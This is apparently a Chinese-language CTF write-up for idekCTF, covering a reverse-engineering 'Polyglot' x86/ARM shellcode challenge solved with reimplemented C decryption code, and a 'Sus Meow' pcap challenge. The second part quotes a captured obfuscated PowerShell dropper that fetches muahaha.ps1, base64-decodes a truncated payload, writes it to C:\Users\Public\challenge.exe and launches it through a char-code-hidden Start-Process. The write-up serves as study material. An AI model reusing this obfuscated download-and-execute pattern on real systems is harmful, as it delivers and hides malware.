idekCTF
Rev
Polyglot
题目Polyglot,首先这个单词的英文含义就是通晓(或使用)多种语言的;用多种语言写成的;通晓并使用多种语言的
,这个也算是一个提示把。
题目中给出的是一个代码片段,不是完整的程序。 x86
和ARM
两种架构反编译之后会得到不同的执行流。但是程序开头的第一句肯定是指令而不是数据,因为CPU无法判断这些二进制是否是数据。
这个shellcode是把x86
和ARM
两种不同的架构集成到一起了,在程序的开头第一句指令做了兼容,在x86
下,会直接跳转。而在ARM
架构下则会执行。
解题思路
将Polyglot
分别在x86
和ARM
两种架构下,进行反编译操作。通过解析代码流程,逆向解密过程。
ARM
架构下的代码比较好分析,就是一个循环的异或操作,本身没有什么困难的地方。
X86
架构下,则要困难一些,包含了两个解密操作。
第一个解密操作,按照正常汇编代码的逻辑,然后用c语言复现了一遍。
第二个解密操作,汇编代码稍微有点复杂,所以是直接复制的ida反编译之后的函数。然后判断了一下这个函数的参数。
解题代码
x86
# include <stdio.h>
# include <stdint.h>
#define HIBYTE(w) ((uint8_t)(((uint16_t)(w) >> 8)))
#define LOBYTE(w) ((uint8_t)(w))
unsigned char rsp[0x158] = {
//3C1 ---00h
0x18, 0x25, 0x37, 0x37, 0xF5, 0x14, 0x70, 0x63, 0x59, 0x1D,
0x85, 0x0E, 0xA5, 0xD9, 0xDB,
//rax -- 0Fh
0x80, 0xAA, 0x0A, 0xB4, 0x41, 0x8E, 0x7B, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
//3a1 --20h
0x62, 0x5A, 0x46, 0x8A, 0xAA, 0x47, 0xB6, 0x87, 0x84, 0xBF,
0x1B, 0xE6, 0xDA, 0x0A, 0xD7, 0x40,
//3b1 --30h
0x81, 0x0E, 0x14, 0x6A, 0xF7, 0x6E, 0x2B, 0xF1, 0x19, 0xD5,
0x2E, 0x33, 0xA8, 0xB6, 0xD1, 0x76,
//rdi ---40h
0x00, 0x00,
//2a1 ---rdi+2
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
//2b1 ---rdi+12h
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
//2c1 ---rdi+22h
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29,
0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
//2d1 ---rdi+32h
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
//2e1 ---rdi+42h
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
//2f1 ---rdi+52h
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
//301 ---rdi+62h
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
//311 ---rdi+72h
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
//321 ---rdi+82h
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
//331 ---rdi+92h
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99,
0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
//341 ---rdi+A2h
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9,
0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
//351 ---rdi+B2h
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9,
0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
//361 ---rdi+C2h
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9,
0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
//371 ---rdi+D2h
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9,
0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
//381 ---rdi+E2h
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9,
0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
//391 ---rdi+F2h
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9,
0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
};
int16_t sub_1A2(int64_t a1, int64_t a2) // a1 = rcx 0x100 a2 = rdx 0x17
{
int16_t *v2 = (int16_t*) (rsp + 0x40); // rdi
uint8_t *v3 = (uint8_t*)rsp; // rsi
int16_t result; // ax
int16_t *v5;// r10
uint8_t v6;// bl
unsigned char v7; // r11 8;
//LOBYTE(result) = v8 + v7;
unsigned char v8; // bp
int16_t *v9; // rdi
uint8_t *v10; // r9
unsigned char v11; // r8
unsigned char *v12; // rdx
unsigned char v13; // al
unsigned char *v14; // rcx
unsigned char v15; // r12
result = *v2;
v5 = v2;
v6 = HIBYTE(*v2);
if ( a2 )
{
v7 = a2;
v8 = *v2;
v9 = v2 + 1;
v10 = &v3[a2];
v11 = result - (uint8_t)v3 + 1;
do
{
v12 = (unsigned char *)v9 + (unsigned char)(v11 + (uint8_t)v3);
v13 = *v12;
v6 += *v12;
v14 = (unsigned char *)v9 + v6;
v15 = *v14;
*v12 = *v14;
*v14 = v13;
*v3++ ^= *((uint8_t *)v9 + (unsigned char)(v15 + v13));
}
while ( v10 != v3 );
result = ((uint16_t)v6 << 8) | (uint16_t) (v8+v7) ;
//LOBYTE(result) = v8 + v7;
//HIBYTE(result) = v6;
}
*v5 = result;
return result;
}
int main()
{
int rcx = 0;
uint32_t r8d = 0;
int rax = 0;
uint32_t r9d;
int r10 = 0x20;
uint16_t* rdi = (uint16_t*) (rsp + 0x40);
uint16_t* rsi = (uint16_t*) (rsp + 0x20);
do{
r9d = ((uint8_t*)rdi)[rcx + 2];
r8d = r8d + r9d + ((uint8_t*)rsi)[rcx % r10];
//r8d = r8d + rax;
rax = LOBYTE(r8d);
((uint8_t *)rdi)[rcx + 2] = ((uint8_t*)rdi)[ rax + 2];
rcx = rcx + 1;
((uint8_t*)rdi)[rax + 2]= r9d;
}while(rcx!=256);
sub_1A2(0x100,0x17);
write(1, rsp, 0x17);
rax = 0x291;
((uint32_t *)rsp)[rax] += (uint32_t)rax;
//((uint32_t *)rsp)[rax - 0x39] =
return 0;
}
ARM
# include <stdio.h>
# include <stdint.h>
unsigned char rsp[] =
{
0xAF, 0xBC, 0xF0, 0x6B, 0x04, 0x82, 0x05, 0xA4, 0x56, 0xB6,
0x16, 0x48, 0xC0, 0x93, 0xAE, 0x51, 0x78, 0x8F, 0xB5, 0xB8,
0x4E, 0x31, 0xB5, 0xED, 0x9F, 0xA5, 0xB3, 0xA0, 0xC6, 0xD8,
0x95, 0x00, 0x7F, 0xDD, 0x5A, 0xF3, 0x3E, 0xCF, 0x49, 0x7D,
0xF0, 0xCC, 0xC3, 0x65, 0x16, 0xD6, 0xEA, 0x8C, 0x3C, 0x52,
0xDD, 0xD8, 0xC0, 0xC9, 0x82, 0xCB, 0x4B, 0xFD, 0xD4, 0x84,
0xE8, 0x8B, 0x01, 0x00, 0x00, 0x66, 0x0F, 0x6F, 0x05, 0x14,
0x02, 0x00, 0x00, 0x49, 0x89, 0xD2, 0x31, 0xC9, 0x45, 0x31,
0xC0, 0x0F, 0x11, 0x47, 0x02, 0x66, 0x0F, 0x6F, 0x05, 0x10,
0x02, 0x00, 0x00, 0x0F, 0x11, 0x47, 0x12, 0x66, 0x0F, 0x6F,
0x05, 0x14, 0x02, 0x00, 0x00, 0x0F, 0x11, 0x47, 0x22, 0x66,
0x0F, 0x6F, 0x05, 0x18, 0x02, 0x00, 0x00, 0x0F, 0x11, 0x47,
0x32, 0x66, 0x0F, 0x6F, 0x05
};
int main(){
int rcx = 0;
uint8_t* rdi = (uint8_t*)(rsp);
uint8_t* rsi = (uint8_t*)(rsp + 0x1C);
do{
rdi[rcx] = rdi[rcx] ^ rsi[rcx];
rcx = rcx + 1;
}while(rcx!=0x1c);
write(1,rsp,0x1c);
}
Sus Meow
第二个题目,是一段网络通信数据包的二进制文件。用wireshark分析还报错。所以也只能看十六进制显示的内容了。
然后我就猜着,会不会是这个解压出来的二进制文件,仍然是一个压缩包呢? 于是把sus-meow
更名为sus-meow.zip
。然后解压缩一下,还真的解压出来了。一个attachments
的文件夹里面包含了challenge.pcapng
的文件。
这里,我又去查了一下,发现zip压缩、rar压缩,出来的二进制文件。都不是以attachements/
开头的。但是为啥这种方法就奏效了?,难道本身就是文件目录转换为的二进制?
现在可以用wireshark分析challenge.pcapng
了。追踪流之后,感觉像是用PowerShell 给服务器发指令+加密的恶意代码,然后让服务器解密+运行恶意代码。解密可以明显的看到用的是FromBase64String
GET /muahaha.ps1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Host: 10.0.2.15
Connection: Keep-Alive
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.10.8
Date: Wed, 11 Jan 2023 11:02:35 GMT
Content-type: application/octet-stream
Content-Length: 108368
Last-Modified: Wed, 11 Jan 2023 10:55:29 GMT
$cph8=("{4}{8}{1}{6}{3}{7}{0}{5}{2}{11}{9}{10}" -f
'3URi0QkHDmEJJgAAAAPhLMCAACNjCSUAAAAi0UAMdKNdQSJDCSJ0Yn1id6Jwrh4AAAA6K3h///pEfr//4uUJJgAAACDyiCJlCSYAAAA9sIED4Ve/f//3UUAjXUI2cDZ5Zvf4GYlAEVmPQABD4SzAgAA23wkQNtsJEAPt3wkSGaF/3kKgMqAiZQkmAAAANnlm9/g3dhmJQBFZj0ABQ+EfAMAANt8JDCLRCQwi1QkNGaB5/9/D4RMAwAAZoH/ADwPjxwCAAAPv++5ATwAACnpMe0PrdDT6vbBIA9Fwg9F1QH5jbkEwP/
··········
$lUOIoOXye4ZWRJ79vwRvpERQ = ('{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal')
$xP6FknJVZBb = [Convert]::FromBase64String($cph8)
[IO.File]::WriteAllBytes($lUOIoOXye4ZWRJ79vwRvpERQ, $xP6FknJVZBb)
& ([string]::join('', ( (83,116,97,114,116,45,80,114,111,99,101,115,115) |%{ ( [char][int] $_)})) | % {$_}) ('{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal')
后面还有一些关于powershell的命令
,我大胆的在自己的powershell下面执行了一下'{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal'
–前面的数字其实是后面字符串的位置–拼起来就是C:\Users\Public\challenge.exe
。这个exe负责存储base64解密之后的数据。
最后一行的指令[string]::join('', ( (83,116,97,114,116,45,80,114,111,99,101,115,115) |%{ ( [char][int] $_)})) | % {$_}
— 先把十进制数转换为char类型,然后用转换后的字符串开启进程,执行exe恶意程序。具体Poweshell命令的细节,就不写了
- 83,116,97,114,116,45,80,114,111,99,101,115,115 -对应的字符串–
Start-Process
然后,我就基本上在powershell中执行了一下所有的命令,就是没执行哈哈哈。 说实在的,这种还是危险的,这里是图懒省事。!
这样的话,就把恶意程序给找到了challenge.exe
。
之后就是反编译了,目前还没什么线索呢。
总结
Shift + E
可以把数据导出,选择合适的格式。根本没办法一个一个复制。- 简单的汇编代码逻辑,我基本可以读懂了。但是稍微一复杂,就捉襟见肘了。虽然可以采用复制ida反汇编之后的函数,但是这种方式不利用长久的发展。—-后续还得加强吧。我估计看汇编也能看出来,就是比较耗时。
- 原来真的有人会把不同架构下的shellcode结合到一起,真的是厉害,x86下的代码会在arm架构下被当作数据处理。这道题是我第一次接触ARM架构下的反汇编。